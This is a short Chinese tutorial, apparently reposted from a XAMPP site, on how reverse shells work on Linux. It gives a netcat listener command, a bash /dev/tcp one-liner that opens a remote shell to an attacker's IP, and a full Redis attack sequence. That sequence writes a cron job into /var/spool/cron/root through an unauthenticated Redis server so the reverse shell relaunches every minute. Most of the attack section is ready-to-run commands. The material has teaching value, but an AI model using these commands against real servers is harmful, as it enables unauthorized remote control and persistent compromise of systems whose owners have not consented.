反弹shell攻击
1. 常规攻击


2. 反弹shell

3. 反弹shell具体实现
3.1 攻击端提前设置ip
与端口
# 需要nc命令,安装nmap-ncat:
yum install nmap-ncat -y
nc -lvnp 8888
-l :使用监听模式
-v :显示详细信息
-n :直接使用ip地址,不进行dns解析
3.2 被攻击端主动连接
bash -i &>/dev/tcp/192.168.6.xxx/8888 0>&1
bash -i :开启是个交互式的shell
&> :将标准输出与标准错误输出重定向到后面的文件。
/dev/tcp/192.168.6.xxx/8888 :这是一个特殊的文件,可以建立网络套接字通信。
0>&1 :将标准输入重定向到标准输出,标准输出已经重定向到了那个特殊的网络套接字文件,所以标准输入也会重定向过去。这样,在被攻击端的所有输入输出都会被重定向到攻击端。
基于上面的两条命令即可实现反弹shell
,但是现实中黑客又是如何在被攻击服务器设置主动连接
的命令呢?
答案就是利用各种应用的漏洞,比如常见的redis
漏洞,在redis
直接使用root
用户启动,又没有设置密码时,是最容易实现反弹shell
的。
实现原理很简单,一是利用redis
可以在线修改配置文件的特性,二是利用Linux
系统的计划任务功能。
4. 利用redis漏洞实现反弹shell

4.1 被攻击端启动redis
# /usr/bin/redis-server /etc/redis.conf

4.2 攻击端连接redis
redis-cli -h 192.168.x.xxx
6379> config set dir /var/spool/cron/
6379> config set dbfilename root
6379> set cron "\n* * * * * bash -i &> /dev/tcp/192.168.y.yyy/8888 0>&1\n"
6379> save

转载请注明:XAMPP中文组官网 » Linux中反弹shell原理